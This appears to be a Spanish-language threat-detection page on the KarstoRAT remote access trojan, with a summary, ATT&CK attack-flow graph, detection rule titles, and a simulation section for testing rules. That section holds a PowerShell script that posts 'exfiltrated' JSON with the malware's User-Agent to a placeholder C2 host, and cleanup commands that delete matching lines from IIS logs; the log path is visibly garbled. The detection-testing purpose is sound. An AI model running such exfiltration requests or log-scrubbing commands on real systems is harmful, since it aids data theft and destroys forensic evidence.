Un Vistazo Detallado al Nuevo y Sigiloso Malware KarstoRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
KarstoRAT es un troyano de acceso remoto recientemente identificado, capaz de recopilar información del sistema, capturar audio y vídeos de webcam, tomar capturas de pantalla, registrar pulsaciones de teclas y robar tokens de autenticación. El malware mantiene persistencia, se comunica con su servidor de comando y control a través de HTTP con un agente de usuario personalizado distintivo, y puede recuperar cargas adicionales para actividades posteriores. También contiene funciones disruptivas, incluyendo la inversión de pantalla y la reproducción forzada de audio.
Investigación
LevelBlue SpiderLabs examinó el flujo de ejecución de KarstoRAT, las comunicaciones de comando y control, las rutinas de exfiltración, y los métodos de persistencia. El informe destaca un bucle interminable de dos segundos utilizado para mantener el malware en ejecución y describe los STARTUP_ON and STARTUP_OFF comandos que controlan el comportamiento de inicio automático. Los investigadores también documentaron la capacidad del malware para cambiar el fondo de pantalla del escritorio y eliminarse a sí mismo cuando se le ordena.
Mitigación
Los esfuerzos de detección deben centrarse en el único agente de usuario HTTP del malware, entradas de registro sospechosas relacionadas con el inicio, y un comportamiento anómalo de procesos en bucle. Las defensas de endpoint también deben observar actividades de estilo sin archivo descritas en el informe y bloquear binarios desconocidos entregados a través de la trampa falsa del mercado de Roblox.
Respuesta
Si se identifica KarstoRAT, aísle el dispositivo afectado, preserve las pruebas forenses incluyendo el tráfico HTTP y artefactos de inicio, y elimine todos los mecanismos de persistencia. Las organizaciones deben rotar las credenciales expuestas y continuar monitorizando cualquier carga secundaria que pueda haber sido descargada después del compromiso inicial.
"graph TB %% Definiciones de clase classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Definiciones de nodo action_user_execution["<b>Acción</b> – <b>T1204.001 Ejecución del Usuario: Enlace Malicioso</b><br/>La víctima hace clic en un enlace falso del mercado de Roblox (ingeniería social)."] class action_user_execution action persistence_boot_script["<b>Persistencia</b> – <b>T1037 Scripts de Inicialización de Arranque o Inicio de Sesión</b><br/>El malware se registra en STARTUP_ON/OFF para ejecutarse automáticamente al arrancar o iniciar sesión."] class persistence_boot_script persistence credential_keylogging["<b>Acceso a Credenciales</b> – <b>T1056.001 Captura de Entrada: Registrador de Pulsaciones de Teclas</b><br/>El malware registra las pulsaciones de teclas para capturar credenciales y otros datos sensibles."] class credential_keylogging credential collection_screen_capture["<b>Recopilación</b> – <b>T1113 Captura de Pantalla</b><br/>El malware captura periódicamente capturas de pantalla del escritorio de la víctima."] class collection_screen_capture collection collection_audio_capture["<b>Recopilación</b> – <b>T1123 Captura de Audio</b><br/>El malware graba audio desde el micrófono del sistema."] class collection_audio_capture collection collection_video_capture["<b>Recopilación</b> – <b>T1125 Captura de Vídeo</b><br/>El malware accede a la cámara web para grabar video de la víctima."] class collection_video_capture collection discovery_process["<b>Descubrimiento</b> – <b>T1057 Descubrimiento de Procesos</b><br/>El malware enumera los procesos en ejecución para identificar herramientas de seguridad o aplicaciones valiosas."] class discovery_process discovery discovery_hardware["<b>Descubrimiento</b> – <b>T1592.001 Recolección de Información del Host de la Víctima: Hardware</b><br/>El malware recopila detalles de hardware como CPU, RAM y GPU."] class discovery_hardware discovery discovery_software["<b>Descubrimiento</b> – <b>T1592.002 Recolección de Información del Host de la Víctima: Software</b><br/>El malware recopila versiones de software instaladas y parches."] class discovery_software discovery discovery_firmware["<b>Descubrimiento</b> – <b>T1592.003 Recolección de Información del Host de la Víctima: Firmware</b><br/>El malware extrae información de firmware y BIOS."] class discovery_firmware discovery discovery_config["<b>Descubrimiento</b> – <b>T1592.004 Recolección de Información del Host de la Víctima: Configuración del Cliente</b><br/>El malware recopila configuraciones como idioma, zona horaria y parámetros de red."] class discovery_config discovery impact_remote_desktop["<b>Impacto</b> – <b>T1219.002 Software de Escritorio Remoto</b><br/>El malware utiliza capacidades de escritorio remoto para alterar el fondo del escritorio, voltear la pantalla e intercambiar los botones del ratón."] class impact_remote_desktop impact defense_self_destruct["<b>Evasión de Defensa</b> – <b>T1027.005 Eliminación de Indicadores de Herramientas</b><br/>El malware se autodestruye y elimina sus archivos para borrar evidencia."] class defense_self_destruct defense %% Conexiones action_user_execution –>|conduce a| persistence_boot_script persistence_boot_script –>|habilita| credential_keylogging credential_keylogging –>|habilita| collection_screen_capture collection_screen_capture –>|habilita| collection_audio_capture collection_audio_capture –>|habilita| collection_video_capture collection_video_capture –>|habilita| discovery_process discovery_process –>|conduce a| discovery_hardware discovery_hardware –>|conduce a| discovery_software discovery_software –>|conduce a| discovery_firmware discovery_firmware –>|conduce a| discovery_config discovery_config –>|habilita| impact_remote_desktop impact_remote_desktop –>|desencadena| defense_self_destruct "
Flujo de Ataque
Detecciones
Escalada de privilegios (bypass de UAC) en FodHelper (vía evento de registro)
Ver
Puntos de Persistencia Posibles [ASEPs – Hive de Software/NTUSER] (vía evento de registro)
Ver
Uso Posible de Schtasks o AT para Persistencia (vía cmdline)
Ver
Uso Posible de PING para Ejecución Diferida (vía cmdline)
Ver
Binarios/Scripts Sospechosos en Ubicación de Inicio Automático (vía evento de archivo)
Ver
Intento de Comunicación Dominio de Búsqueda IP Posible (vía DNS)
Ver
Servicio de Túnel de Puerto Posible (vía DNS)
Ver
Detección de Comunicación C2 de KarstoRAT [Conexión de Red de Windows]
Ver
Detección de Actividades de Malware KarstoRAT [Creación de Procesos en Windows]
Ver
Ejecución Simulada
Prerequisito: La Verificación Previa a la Telemetría y Referencia debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
El atacante ha obtenido un punto de apoyo en la red de la víctima y desea establecer un canal de comando y control para KarstoRAT. Para mezclarse con el tráfico legítimo, el malware utiliza una cadena User-Agent codificada como “SecurityNotifier”. El atacante ejecuta una línea única de PowerShell en el host comprometido que envía un HTTP POST al servidor C2, incluyendo la cabecera UA. La solicitud incluye una pequeña carga JSON que imita datos exfiltrados, suficiente para activar la regla sigma. -
Script de Prueba de Regresión:
# Simulación de C2 de KarstoRAT – PowerShell $c2Url = "http://<servidor_web>/karsto_c2" $payload = @{ host = $env:COMPUTERNAME data = "datos exfiltrados de muestra" } | ConvertTo-Json $headers = @{ "User-Agent" = "SecurityNotifier" "Content-Type" = "application/json" } try { Invoke-WebRequest -Uri $c2Url ` -Method POST ` -Headers $headers ` -Body $payload ` -UseBasicParsing Write-Host "Solicitud C2 enviada." } catch { Write-Error "Error al enviar la solicitud C2: $_" } -
Comandos de Limpieza:
# Eliminar solicitud generada de los registros de IIS (requiere derechos de administrador) $logPath = "C:inetpublogsLogFilesW3SVC1" Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object { (Get-Content $_.FullName) | Where-Object { $_ -notmatch "SecurityNotifier" } | Set-Content $_.FullName } Write-Host "Registros sanitizados."